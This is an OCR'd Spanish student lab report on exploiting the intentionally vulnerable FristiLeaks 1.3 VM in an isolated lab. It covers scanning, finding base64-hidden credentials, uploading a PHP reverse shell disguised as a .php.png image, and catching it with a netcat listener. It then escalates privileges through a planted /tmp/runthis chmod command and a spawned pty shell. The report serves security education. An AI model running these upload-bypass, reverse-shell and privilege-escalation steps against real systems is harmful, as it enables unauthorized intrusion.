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2 INTRODUCCION

El presente informe describe el proceso de instalacion, configuracion y explotacion de la
maquina virtual Fristileaks 1.3 en un entorno controlado utilizando Kali Linux. A través de esta
practica se busco aplicar técnicas de auditoria de redes y analisis de vulnerabilidades, con el fin de
comprender el funcionamiento de herramientas como Nmap, Dirb, netcat y Python para la
obtencion de accesos no autorizados. Este ejercicio académico permite afianzar conocimientos en
seguridad informatica y pentesting, entendiendo los riesgos presentes en sistemas mal

configurados y como un atacante podria aprovecharlos.
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3 ALCANCE

La practica cubrio desde la instalacion y configuracion de Fristileaks hasta el acceso como

superusuario, se trabajo en:

> Escaneo de puertos y servicios.

> Busqueda de directorios y archivos sensibles.

> Creacion de diccionarios para pruebas de acceso.

» Decodificacion de informacion en base64.

> Ejecucion de una  reverse shell y  escalamiento de  privilegios.
Todo se realiz6 con fines académicos para entender vulnerabilidades en un laboratorio

controlado.
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4 OBJETIVO

4.1 OBJETIVO GENERAL

Realizar una practica de auditoria de seguridad en redes mediante la explotacion de
vulnerabilidades en la maquina Fristileaks, aplicando técnicas de reconocimiento, enumeracion,

inyeccion de codigo y escalamiento de privilegios.

4.2 OBJETIVOS ESPECICOS

Configurar correctamente la maquina virtual vulnerable y el entorno en Kali Linux.
Aplicar herramientas de reconocimiento para identificar servicios y puertos abiertos.
Realizar la busqueda de directorios ocultos y archivos sensibles.

Implementar diccionarios y ataques de fuerza bruta en el login del sistema.
Desarrollar un script en Python para decodificar informacion en base64.

Escalar privilegios hasta obtener acceso como superusuario (root).

v VvV VYV VvV V¥V V VY

Reflexionar sobre las posibles soluciones y medidas de seguridad para prevenir estas

vulnerabilidades.
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S PLANTEAMIENTO

En la actualidad, muchos sistemas informaticos presentan configuraciones débiles o
descuidos que permiten a un atacante obtener acceso no autorizado. La maquina Fristileaks
representa un escenario vulnerable donde es posible explotar directorios expuestos, contrasefias
mal gestionadas y archivos inseguros. El planteamiento se centra en mostrar como estas fallas
pueden ser aprovechadas para escalar privilegios dentro del sistema y, al mismo tiempo, resaltar

la importancia de aplicar medidas de seguridad que eviten este tipo de riesgos.
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6 TOPOLOGIA

'
g
Windows Server 2003

[lustracion 1 Topologia
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7 INSTALACION DE FRISTILEAKS

Abrimos en el virtual box, luego miramos en la parte que esta en la barra donde dice

IMPORTAR, le da clic.

= Oracle VirtualBox Administrador

Archivo Maquina Ayuda

Y veramens » 4 & =

Nueva Afadir Configuracion Iniciar

Ilustracion 2 Menu en virtual box
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en dondDe

En el siguiente paso, se abrid en una ventana de “IMPORTA

guardamos de la maquina de Fristileaks donde dice el A

RCHIVO le da clic en el icono en donde quiere guardar dentro de su carpeta, luego va a

dar clic donde dice “TERMINAR?”.

% Importar servicio virtualizado

“ Fuente

Fuente: Sistema de archivos local v

Archivo: Nas maquinas de vitual box\FristiLea Is:.5_'1.E!..mra| [

} Configuracion

Ayuda Terminar Cancelar

Ilustracion 3 Instalacion

Luego después de importar y ya parece FRISTILEAKS, y le damos clic donde dice la

maquina de “FRISTILEAKS”.
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Oracle VirtualBox Administrador

Archive Maquina Ayuda

1Y veramints * 4 &

Nueva Anadir Configuracion Iniciar

metasploitable 2 D S

® Apagada Nombre: FristiLeaks 1
Sistema operativo: Red Hat (64-bit)

kali-linux-2025 mickler El sistema
© Apagada

Metasploitable3-ub1404
© Apagada

NDOWS_XP

| © Apagada
16 MB

) VMSVGA
indows 2003 ritorio remoto: Inhabilitado
! | Apagada : Inhabilitado

¥ Almacenamiento

Controlador: IDE
Disp > IDE secundario 0:  [Unidad optica] Vacio
Controlador: SATA
Puerto SATA O: FristiLeaks 1.3-disk2.vdi (Normal, 8,00 GB)

P Audio

Controlador de anfitrion:

Ilustracion 4 virtual box con fristileaks

7.1 CONFIGURACION DE FRISTILEAKS

Veamos el siguiente paso la de FRISTILEAKS, le damos clic donde dice la primera opcion

del menu de la configuracion

Oracle VirtualBox Administrador

Archivo Maguina Ayuda

[} —— » 4 o

MNueva Afiadir Configuracion

[lustracion 5 Menu-configuracion

Veamos el siguiente paso, se abrid en otra ventana de lo que vamos a hacer sobre la
configuracidon tenemos en todas las opciones que queremos configurar ahi tenemos general hasta

interfaz.
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RED:

Miremos en esta ventana de la red, estd en la primera fila que dice el ADAPTADOR-1, y
la parte donde dice conectado le damos clic, ahi sale la opcién que debemos elegir es RED NAT,
en nombre que buscamos de la red que ya tiene creada en este caso es: SEMESTRE-2025-1, luego
paso al siguiente MODO PROMISCUO le sale opcion debe seleccionar es PERMITIR TODO,
luego en DIRECCION MAC, lo colocamos esto 080027A5A676 esto sirve para funcionar de la

red FRISTILEAKS y al final le da clic aceptar.

I *
o

o a

=

[}

o

Red

. Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Sistema

v Habilitar adaptador de red
Pantalla
Conectado a: Red NAT
Almacenamiento
Nombre: SEMESTRES-2025-1

Audio Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM)

Red Modo promiscuo: Permitir todo

PatTi e Direccion MAC: 080027A5A676

v Cable conectado
USB

Carpetas compartidas
Puertos serie

]
O
2
»
D'__l
P
||
|

Interfaz de usuario Puerto 1 Puerto 2 Puerto 3 Puerto 4

T P S

Invalid settings detected m Aceptar Cancelar Ayuda

Ilustracion 6 Red- Fristileaks

Pantalla: veamos a esta ventana, simplemente solamente hay que cambiar donde dice
CONTROLADOR GRAFICO, si te sale las tres opciones debe seleccionar es: VMSVGA, luego

le daremos clic aceptar.
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General Pantalla

' Pantalla Grabacion
Sistema —

Memoria de video:
Pantalla
128 MB

Almacenamiento Nimero de monitores:
Audio
Factor de escalado:
Red 100%

Puertos serie Controlador grafico: VMSVGA  ~

T Caracteristicas extendidas: Habilitar aceleracion 3D

Carpetas compartidas

=
]
O
)
»
D’T
' 4
-
o

Interfaz de usuario

Aceptar Cancelar Ayuda

[lustracion 7 pantalla de Fristileaks

8 ESCANEO DE LA RED

Esta es la maquina de FRISTILEAKS, se trabaja con Kali Linux, simplemente no se
trabajard, aunque mas adelante nos dard lo mas importante de trabajar, ahi es que esta mostrando

la direccion de frisitleaks
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ristileaks 1.3 wvulnerable UM by ArB=xA.
Goal: get root (uid B) and read the flag file

hanks to dqi and barrebas for testing?

IP addres=s:192.168.23.9
localhost login:

ONST#MOrTS @ B CTRLDERECHA

Tlustracion 8 la maquina de fristileaks

NMAP

Empezamos a hacer el escaneo de la red con el comando 192.168.23.0/24 en este comando
lo estard buscando de la direccion ip con el sistema de operativo se estara corriendo otra vez y
después que Termine en hacerlo de escaneo lo estaran direcciones del segmento de la red. Y nos
encontramos la maquina de la FRISTLEAKS esta es la direccion 192.168.23.9 con el puerto 80

lo esta dejando abierto
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= -5V 192.168.23.0/24

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 16:55 EDT
Nmap scan report for 192.168.23.1

Host is up (0.0010s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE VERSION

53/tcp open domain dnsmasq 2.51

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.168.23.2

Host is up (0.0014s latency).

Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.23.3

Host is up (0.00038s latency).

All 1000 scanned ports on 192.168.23.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: @8:00:27:D9:CF:AE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.23.9

Host is up (0.0016s latency).

Not shown: 984 filtered tcp ports (no-response), 15 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.15 ((Cent0S) DAV/2 PHP/5.3.3)

MAC Address: 08:00:27:A5:A6:76 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.23.5

[lustracion 9 comando de nmap -sV

Ingresamos al navegador, en este caso debe colocar la direccion es 192.168.23.9, esta

conectado exotistamente, ahi se encuentra la pagina de frisileaks
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Tlustracion 10 Navegador de fristileaks
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Luego con el comando de DIRB HTTP://192.168.23.9 lo vol

directorios existentes de la FRISTILEEAKS

/home/kali
dirb htt[)://192.158.23.9

DIRB v2.22
By The Dark Raver

START_TIME: Sat Sep 6 16:59:26 2025
URL_BASE: http://192.168.23.9/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://192.168.23.9/ —

+ http://192.168.23.9/cgi-bin/ (CODE:403|SIZE:210)
=—> DIRECTORY: http://192.168.23.9/images/

+ http://192.168.23.9/index.html (CODE:200|SIZE:703)
+ http://192.168.23.9/robots.txt (CODE:200|SIZE:62)

Entering directory: http://192.168.23.9/images/ ——
(') WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

END_TIME: Sat Sep 6 16:59:56 2025
DOWNLOADED: 4612 - FOUND: 3

/home/kali

Hustracién 11 Comando Dirb http: ...
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9 DIRECTORIOS ENCONTRADOS DE LA FRISTIL

En el primero que todo este listado de la busqueda en el anterior de los directorios es

192.168.23.9/cgi-bin/

403 Forbidden

KaliLinux # KaliTools = KaliDocs #{ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Forbidden

You don't have permission to access fcgi-bin/ on this server.

Tlustracion 12 la pagina es cgi-bin

Pasamos el siguiente segundo del directorio es 192.168.23.9/images/ en este caso se estara

guardando algunas de las iméagenes.

3  Indexof fimages

KaliLinux # Kali Tools » KaliDocs X KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Index of /images

Name Last modified Size Description

8 Parent Directory .
M 3037440.jpg  25-Nov-2015 03:50 105K
[ keep-calm.png 17-Nov-2015 12:20 34K

Tlustracion 13 la pagina de imagen

Estan son las imagenes son del directorio, y después que le dé clic a las dos que esta ahi en

enlace para que muestren las imagenes.
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iLinux @ Kali Tools # KaliDocs N ms i NetHunter = Exploit-DB = Google Hacking DB # OffSec

THIS IS NOT'THE

URL
WK,

'y
& E - -,
YOU'WERE LOOKING™
FOR |

memegenerator.net

Tlustracion 14 la imagen de la pagina

10 DIRECTORIO ENCONTRADOS

Esta es la ruta que contiene en un archivo llamado robots.txt donde el contenido que son

otros tipos de la ruta

5  192.168.23.9/robots.txt x| +
C @ O A 192.168.23.9

KaliLinux & KaliTools = KaliDocs % KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

[lustracion 15 la pagina de robots.txt

En la siguiente ruta del navegador para encontrar estas tres imagenes que son: cola, sisi y

beer.
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Cola

5  192.168.23.9/robots.txt > +

¢« C @ O & 192.168.23.9

Kali Linux # KaliTools ¢ KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Ilustracion 16 la pagina de la Cola
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Sisi
5  192.168.23.9/robots.txt +

& C @ O A 192.168.23.9

Kali Linux # KaliTools « KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

[lustracion 17 la pagina de sisi
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Beer

)  192.168.23.9/robots.txt +

A c 0 O A 192168.23.9

Kali Linux # KaliTools ¢ KaliDocs X KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Tlustracion 18 la pagina de beer

11 CREAR EN UNA CARPETA EN EL DIRECTORIO

Con ese comando mkdir para crear en una carpeta llamada Santiago dentro de

/home/kali/Desktop, y para el comando chmod 777 es para dar permiso completo a todos



- -
@ Universidad Tecnologica del Choco

/home/kali/Desktop |
santiago

/home/kali/Desktop

hmod 777 santiago

/home/kali/Desktop

Tlustracion 19 Creacion de la carpeta

12 LA CREACION DEL DICCIONARIO

Lo vamos a crear en un diccionario con el comando es nano santiago-fistileaks.txt para

almacenar de los datos encontrados de la presentacion principal de frisitleaks

/home/kali/Desktop

nano santiago-fristileaks.txt

Ilustracion 20 diccionario de nano

Luego pasamos a la siguiente ventanita, presionamos a Enter vamos a ingresar de los datos
recolectado de la pagina principal (rosado), en este caso son las mencionado que estan de la pagina,
ya se agregd todo lo que estd ahi en la ventanita, para guardar vamos la tecla es CTROL + O le
pide para cambiar el nombre o guardar con el mismo, ENTER luego presionamos la Y es para

indicar que si, al final CTROL + X es para salir.
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dop

santiago-fristileaks.txt

abarrebas
arikvduijn
awez3forsec
aPyroBatNL
@0=DUDE
@annejanbrouwer
@Sander2121
Reinierk
@DearcCharles
Qmiamat
MisterXE
BasB

Dwight

dspierenburg
aielmatani
arenepieters
Mystery guest
QEQ_uini
awhatSecurity
amramsmeets
AAr0xA

fristi

[ 26 lineas leidas |
[d Ayuda B Guardar FREIEE [§ Cortar W Ejecutar W® Ubicacién BV Deshacer I\ Poner marca A llave
B! salir § Leer fich. B Reemplazar il Pegar B Justificar @ Ir a linea B2 Rehacer Copiar Buscar atras

Tlustracion 21 crear recolecion de la pagina (rosada)

13 EL LOGIN DE FRISTILEAKS

Veamos la siguiente, vamos a usar con el diccionario que creamos anteriormente con el

comando es dirb http://192.168.23.9/ santiago-fristileaks.txt , luego de aplicar de lo que vemos

que aparece el unico directorio es 192.168.23.9/fristi/ luego ingresamos a esta ruta del navegador


http://192.168.23.9/%20santiago-fristileaks.txt

@ I Universidad Tecnologica del Choco

uis Cdrdoba

/home/kali/Desktop
dirb http://192.168.23.9/ santiago-fristileaks.txt

DIRB v2.22
By The Dark Raver

START_TIME: Sat Sep 6 17:20:34 2025
URL_BASE: http://192.168.23.9/
WORDLIST_FILES: santiago-fristileaks.txt

GENERATED WORDS: 2

—— Scanning URL: http://192.168.23.9/ ——
=—> DIRECTORY: http://192.168.23.9/fristi/

—— Entering directory: http://192.168.23.9/fristi/ —

END_TIME: Sat Sep 6 17:20:34 2025
DOWNLOADED: 4 - FOUND: 0

Hustracion 22 la pagina de fristi

Esta es la ruta del navegador es 192.168.23.9/fristi/ ingresamos en la url, en este apartado

que se muestra el login de frisiteleaks de administrado



&
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Member Login
Username : ]

Password : ]

Tlustracion 23 navegador de fristi

14 RECOLECCION DATOS DEL INICIO SESION DE ADMINISTRADOR
(FRISTILEAKS)

Le damos clic en el mouse sobre de la pagina de login de inicio sesion, ahi aparece la opcion

lo seleccionamos es view page source portal.

Save Page As...
Save Page to Pocket

Select All

Take Screenshot

View Page Source

Inspect Accessibility Properties

Inspect (Q)

Tlustracion 24 administracion de la pagina web
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Aqui se muestra a ver un dato muy considerable donde podemos ver en el nombre de autor

de la pagina eezeepz.

encoding for images so they are i in the HTML. I read somewhere on the web, that thats a gooc

Tustracion 25 El usuario de eezeepz

Debe enlizar hacia abaja en el pentltimo de esta inspeccion podemos ver otro muy
considerable que lo dejaron es como un comentario en ese codigo, este tipo de datos se reconoce
como base64, porque en el inicio de la etiqueta que esta meta se muestra al inicio, habia una

informacion con el formato en base64

kLR

LLp+Bb}

Tlustracion 26 El codigo de la pagina fristi

15 DECODIFICACION DE CONVERT BASE64 ENCONTRADO
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En este sitio web es https://onlinepngtools.com/convert-base64-t € ingresamos

a la pagina de inicio sesion como en el anteriormente y al pentltimo debe copiar el codigo

ingresamos a la pagina de convert base64, pegamos a la que esté el azul y asi quedo el formato

convert base64, por lo tanto, salié en una imagen con un texto en png.

in the editor on the left and you will instantly get PNG graphics on the right. Free, quick, and very powerful. Import
base64 - geta PNG. Created with love by team Browserling.

)

See Examp

Input Base64 @ Output PNG

keKkeKKeKKeKKEKKEK

Import from file Save a Copy to cliphoard 3 Copy to clipboard

Ilustracion 27 convertir en base 64

16 ACCESO AL PORTAL ADMINISTRADOR


https://onlinepngtools.com/convert-base64-to-png

&
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Veamos el siguiente que los datos que nos encontramos con el usuar. epz y el texto

es la contrasena es esta kKeKke KKeKKeKKEKKE luego le da el boton login para ingresar

Welcome to #fristileaks admin portal

Member Login

Username : |eezeepz \

Password : |keKkeKKeKKeKKEKKEK |

[Login|

Iustracion 28 Login de ingresar
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O A& 192.168.23.9

KaliLinux #8 KaliTools = KaliDocs # Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Login successful

upload file

Tlustracion 29 Exitosamente de la pagina

17 COPIA DEL ARCHIVO PHP EN EL DIRECTORIO ASIGNADO

Ingresamos el destino donde estara el archivo de php le sirve como la inyeccion, con este
comando cd /usr/share/webshells/php, después de ingresar, estaremos listo el contenido con el
comando Is -la, el que necesitamos es php-reverse-shell.php, ahora vamos a copiar en el archivo
php a nuestra carpeta o destino con el siguiente comando, cp php reverse shell.php
/home/kali/Desktop/Santiago, luego lo accederemos al destino donde copiamos en el archivo php

cd /home/Kali/Desktop/Santiago y esta listo para ver que si esta con Is y verdaderamente estara



copiando.

ls -1la
total 52
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-IrW-r--r--
~-IWXT-XI-X
-TW-r--Tr--
~-IWXT-XI-X
-TW-Tr--T--

&
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/usr/share/webshells
cad susr/ssnaresjwepsnecwLs/pnp

/usr/share/webshells/php

root root
root root
root root
root root
root root
root root
root root
root root

B N 0o W

4096
4096
4096
2800
5491
13585
5495
328

sep
abr
abr
nov
nov
nov
sep
nov

4 12:33
23 04:14
23 04:12
20 2021 php-backdoor.php
20 2021 php-reverse-shell.php
20 2021 gsd-php-backdoor.php
4 12:33 Quinto.php.png
20 2021 simple-backdoor.php

/usr/share/webshells/php
cp php-reverse-shell.php kali.php.png

/usr/share/webshells/php
cp php-reverse-shell.php /home/kali/Desktop/santiago

/usr/share/webshells/php
cd /home/kali/Desktop/santiago

Ilustracion 30 Directorio
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/usr/share/webshells
| /usr/share/webshells/php

/usr/share/webshells/php

total 52

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-rwW-r--r--
~IWXI=XI'=X
-I'W-r--r--
~IWXI=-XI-X
-I'W-r--r--

root root 4096 sep 4 12:33

root root 4096 abr 23 04:14

root root 4096 abr 23 04:12

root root 2800 nov 20 2021 php-backdoor.php

root root 5491 nov 20 2021 php-reverse-shell.php
root root 13585 nov 20 2021 qsd-php-backdoor.php
root root 5495 sep 4 12:33 Quinto.php.png

root root 328 nov 20 2021 simple-backdoor.php

= N 00 W

/usr/share/webshells/php

p php-reverse-shell.php kali.phj

/usr/share/webshells/php
php-reverse-shell.php /home/kali/Desktop/santiago

/usr/share/webshells/php
cd /home/kali/Desktop/santiago

/home/kali/Desktop/santiago
php-reverse-shell.php

Tlustracion 31 Comando en kali linux

Abrimos en el archivo con nano php-reverse-shell.php

/home/kali/Desktop/santiago

) php-reverse-shell.php

[lustracion 32 comando de shell.php

Donde dice en ip es nuestra de Kali Linux en este caso es colocar esta direccion

192.168.23.5 y el puerto port debe colocar es 1234 para guardar el archivo debe dar la tecla es
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go.php.png,

CTROL + O y lo nombramos con otro nombre, en este caso deberia se

presionar la tecla es enter y luego Y y al final es CTROL + X para cerrar

Ar
GNU nano php-reverse-shell.php *

set_time_limit (@);
R "1.0

w; id; /bin/sh -i";

[§ Ayuda Guardar [§ Buscar [§ Cortar il Ejecutar [§ Ubicacidon e C | Poner marca A llave
B salir R Leer fich. B Reemplazar Wl Pegar B Justificar Wi Ir a linea ehacer Copiar Buscar atras

Tlustracion 33 cambiar la direccion ip

Aqui le va a aparecer el archivo creado correctamente.

/home/kali/Desktop/santiago
1s

santiégo.php.png

Ilustracion 34 creado de Is

Nos activaremos en el modo cargando con el puerto que se configuro en el archivo con el
comando nc -lv 1234, este se quedara hasta que se ejecuta la segunda accion que se inicia a

continuar listening on [any] 1234 ...



@ ._ O Umiverswgd Teﬁ;glggigingi\ Chocd
/home/kali/Desktop/santiago

N Lvp 1234

!

listening on [any] 1234

Ilustracion 35 la carga de la pagina

Pasamos a la siguiente pagina en donde se habia iniciado sesidon que aparece un apartado
de browse donde servira para subir en el archivo de php que nos modificaos con nuestro nombre

y formato en png ya que este acepta formato de imagenes

KaliLinux & KaliTools = KaliDocs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Select image to upload: .
|_ Browse... | No file selected. | Upload Image |

Ilustracion 36 abrir el archivo de la imagen

Luego se abrié en un archivo que nos vamos a seleccionar es la que esta ahi en el nombre

de php es Santiago.php.png y luego le da cli abrir
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-

File Upload

Recientes B home #kali M Deskiop santiago

> 0O

Carpeta personal Nombre ~ Tamafo Tipo Modificado

Escritorio = santiago.php.png 55kB Programa 17:36

Documents

=« @ 1

Downloads
Music
Pictures

Videos

r)
™
[ ]
+

Otras ubicaciones

AllFiles -

@ Cancelar [ak Abrir

Tlustracion 37 archivo de la php.png

Luego se abrié de nuevo al navegador, ahi se esta mostrando el archivo de php, luego le

daremos Upload image.
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KaliLinux # KaliTools = KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Select image to upload: _ _
|_ Browse... | santiago.php.png | Upload Image |

Tustracion 38 agregado de la imagen

18 ARRANQUE EN MODO ESCUCHA (INYECCION)

Luego de lo que estd cargando se saldra en este mensaje y el destino adicional tendremos

que ingresar en el url

KaliLinux # KaliTools # KaliDocs X KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Uploading, please wait
The file has been uploaded to fuploads

Iustracion 39 la pagina de upload.php

Después ingresamos al destino con el nombre del archivo que subimos a esta forma
192.168.23.9/fristi/uploads/Santiago.php.png se habrd un punto de la pestafia cargando senalar

que se activo correctamente.

= 192.168.23.9/fristi/do_u

Kali Linux # Kali Tools « KaliDocs & KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Uploading, please wait
The file has been uploaded to

Iustracion 40 Cambio url de la pagina
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Después regresamos a la consola donde en el modo que se escucha_se/¢ ala esperay

correctamente ya que tengo el acceso a Fristileaks

/home/kali/Desktop/santiago

nc -lvp 1234
listening on [any] 1234 ...
192.168.23.9: inverse host lookup failed: Unknown host
connect to [192.168.23.5] from (UNKNOWN) [192.168.23.9] 47713
Linux localhost.localdomain 2.6.32-573.8.1.e16.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
17:55:45 up 1:02, 0 users, load average: 0.00, 0.09, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$ 1

Tlustracion 41 Cargando de Kali linux de la pagina

Comprobar que el usuario somos con whoami y entramos con el usuario de apache por

imperfeccion

uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control 1in this shell

sh-4.1%

sh-4.1%

sh-4.1%

sh-4.1%

sh-4.1% whoami
whoam1

apache
sh-4.1% |

Ilustracién 42 whoami

19 GENERACION DE ARCHIVO PRIVILEGIADO PARA EL
DIRECTORIO ADMIN
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contenido, el

Con este apartado luego de haber iniciado daremos un Is -la p

objetivo es para ingresar en home.

sh-4.1% 1s -1la

1ls -la

total 102

dr-xr-xr-x. 22

dr-xr-xr-x. 22 .
-TW-r--I-- 1 .autofsck
-TW-I-—-T—- 1 .autorelabel
dr-xr-xr-x. 2 bin
dr-xr-xr-x. 5 boot
drwxr-xr-x 19 dev
drwxr-xr-x. etc
drwxr-xr-x. home
dr-xr-xr-x. l1ib
dr-xr-xr-x. 11bb4
drwx . lost+found
drwxr-xr-x. media
drwxr-xr-x. mnt
drwxr-xr-x. opt
dr-xr-xr-x proc
dr-xr-x—. root
dr-xr-xr-x. sbin
drwxr-xr-x. selinux
drwxr-xr-x. STV
drwxr-xr-x Sys
drwxrwxrwt . tmp
drwxr-xr-x. usr
drwxr-xr-x. var
sh-4.1% |

O ~J
=

W WM WESWWRNRMNWOY oL

[

[lustracion 43 para ingresar en home

Ingresamos a home con el comando ¢d home, podemos ver los usuarios y el usuario admin

el cual necesitaremos acceder, pero aun no tenemos el permiso para poder acceder.
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sh-4.1% cd home

cd home

sh-4.1% 1s -la

1s -1la

total 28

drwxr-xr-x. root root 4096 19 2015

dr-xr-xr-x. 22 root root 4096 6 16:53 ..

drwx . admin admin 4096 19 2015 admin
drwx—r-xXx. eezeepz eezeepz 12288 18 2015 eezeepz
drwx fristigod fristigod 4096 19 2015 fristigod
sh-4.1% |}

Ilustracion 44 administrador

En el comando echo “/home/admin/chmod -R 777 /home/admin” > /tmp/runthis este
comando se funciona para crear un archivo provisional de destino tmp lo guardara permisos de
lectura, escritura y ejecucion para el directorio admin en el cual necesitamos el acceso, en esta

creacion estamos dando la llegada

sh-4.1% echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis

sh-4.1% |}

Ilustracion 45 crear en un archivo

20 ESTRUCTURA DE LA CARPETA ADMIN

Acedemos al destino tmp donde se cred el archivo con ed tmp y verificamos que el archivo

runthis ya se ha creado excelentemente



-IW-I--TI--
-TW-T--T--

dr-xr-xr-x.
dr-xr-xr-x.

drwxr-xr-x

drwxr-xr-x.
drwxr-xr-x.
dr-xr-xr-x.
dr-xr-xr-x.

drwx

drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.

dr-xr-xr-x

dr-xr-x—.
dr-xr-xr-x.
drwxr-xr-x.
drwxr-xr-x.

drwxr-xr-x

drwxrwxrwt.
drwxr-xr-x.
drwxr-xr-x.

sh-4.1% cd
cd tmp
sh-4.1% 1s
1s -1la
total 20

drwxrwxrwt .
dr-xr-xr-x.

drwxrwxrwt
-TW-T--T--
—-TW-TW-TW-
sh-4.1$% |}

~

O
WMNKMMNWESAEWWNNODODOOSWOWLUNRE e

'—r
= [ Sy [
T O W W

I
p
a1}

root 4096
root 4096
root 4096
admin 500
apache 30

Tlustracion 46 esctructura de archivo
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.autofsck
.autorelabel
bin

boot

dev

etc

home

11ib

11b64
lost+found
media

mnt

opt

proc

root

sbin
selinux
STV

Sys

tmp

usr

var

.ICE-unix
cronresult
runthis
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1n con el cat

Luego vamos a revisar a ver que si tiene el contenido de privileg

runthis

drwxrwxrwt. 3 root root 4096 Sep 18:29 .
dr-xr-xr-x. 22 root root 4096 Sep 16:53 ..
drwxrwxrwt 2 root root 4096 Sep 16:53 .ICE-unix
-TW-r-—-r-- 1 admin admin 1298 Sep 18:33 cronresult
-TW-TW-TW- 1 apache apache 37 Sep 18:32 runthis

sh-4.1% cat runthis

cat runthis

/home/admin/chmod -R 777 /home/admin
sh-4.1%

[lustracion 47 privelegio de admin

Ahora que podemos acceder a la carpera de admin con el comando c¢d admin y

encontramos archivos de la informacion exitosamente.

sh-4.1% cd admin
cd admin

sh-4.1% 1s -la
1s -la
total 652
drwxrwxrwx.
drwxr-xr-x.
~-TWXTWXTWX .
~TWXTWXTWX .
~TWXTWXTWX .
—TWXTWXTWX
—IWXTWXTWX
—IWXTWXTWX
—IWXTWXTWX
-IWXTWXTWX
—IWXTWXTWX
—IWXTWXTWX
—IWXTWXTWX
—TWXTWXTWX
—TWXTWXTWX
-rW-r--1-—-
sh-4.1$ |}

admin admin 4096

root root 4096 .

admin admin 18 .bash_logout
admin admin 176 .bash_profile
admin admin 124 .bashrc

admin admin 45224 cat

admin admin 48712 chmod

admin admin 737 cronjob.py
admin admin 21 cryptedpass.txt
admin admin 258 cryptpass.py
admin admin 90544 df

admin admin 24136 echo

admin admin 163600 egrep

admin admin 163600 grep

admin admin 85304 ps

fristigod fristigod 25 whoisyourgodnow. txt

2
5
1
1
1
1
1
1
1
1
1
1
1
1
1
1

Ilustracion 48 adminastrador de cd admin
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21 CREACION DE PROGRAMA EN PYTHON PARA HCAR T
BASEG64

Ahora veamos en el contenido de whoisyourgodnow.txt con el comando cat

whoisyourgodnow.txt, se encuentra en un texto en base664, a la cual vamos a descifrar.

sh-4.1% cat whoisyourgodnow.txt
cat whoilsyourgodnow.txt

=RFNOAKNIMHMPIzpyuTIOITG
sh-4.1% B

Ilustracion 49 descifrar

Usamos el nano para crear el nuestro de cddigo para descifrar en base64 con nano

decode.py

/home/kali

nano santi.py

Tlustracion 50 crear en codigo

Ahora digitare en el codigo para poder descifrar lo esta importante libreria de base64,
codecs para que pueda descifrar con la estructura en el coédigo que este hecho se debe utilizar el
lenguaje de Python, y luego guardamos con la tecla es el CTROL + O, luego le da enter, Y y al

final para cerrar CTROL + X, con eso ya tendriamos con el archivo listo para poder descifrar



@ .@ Universidad Tecnologica del Choco

uis Cdrdoba

®  root@Santiago: fhome/kali B
santi.py *

decode

decode_t
print(de:

§ Guardar [§ Buscar Cortar | Ejecutar [§ Ubicacion Bl Deshacer 2! Poner marca A llave
i Leer fich. B Reemplazar &Y Pegar B Justificar Wi Ir a linea B Rehacer Copiar Buscar atras

Tlustracion 51 crear de python

22 DECODIFICANDO TEXTO EN BASE 64

luego de lo que creado el archivo de Python para poder descifrar ingresamos el comando
en esa forma junto con el texto en base64 que se encontrd en el anteriormente python decode.py
=RFn0AKnLMHMPIzpyuTIOITG’, luego de ajustar que nos imprimira en pantalla con el

contenido descifrado, tendremos la clave del usuario Fristigod

/home/kali
santi.py =RFnOAKnLMHMPIzpyuTIQITG

b'LetThereBeFXisti!'

Tlustracion 52 creacion de Python

luego ingresamos el comando bash lo que sale del modo de la lectura para entrar de un
modo donde podremos aplicar el comando que le servird para poder salir del modo de la lectura
de ingresar de una Shell que le permita a ingresar comandos es el siguiente python -c¢ ‘import

pty;pty.spawn(*“/bin/sh”)’.
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sh-4.1% python -c 'import pty;pty. spawn("/bln/sh")
python -c 'import pty;pty.spawn("/bin/sh")’

uis Cdrdoba

sh-4.1% §

Tlustracion 53 salir de modo lectura

Ahora veamos este que ya importamos en una nueva Shell lo intentaremos a cambiar al usuario
fristigod y la contraseiia que nos desciframos con el comando su fristigod, luego le pedird a
ingresar la contrasefa para poder ingresar

sh-4.1% su fristigod
su fristigod

Password: LetThereBeFristi!

Ilustracion 54 cambio de usuario

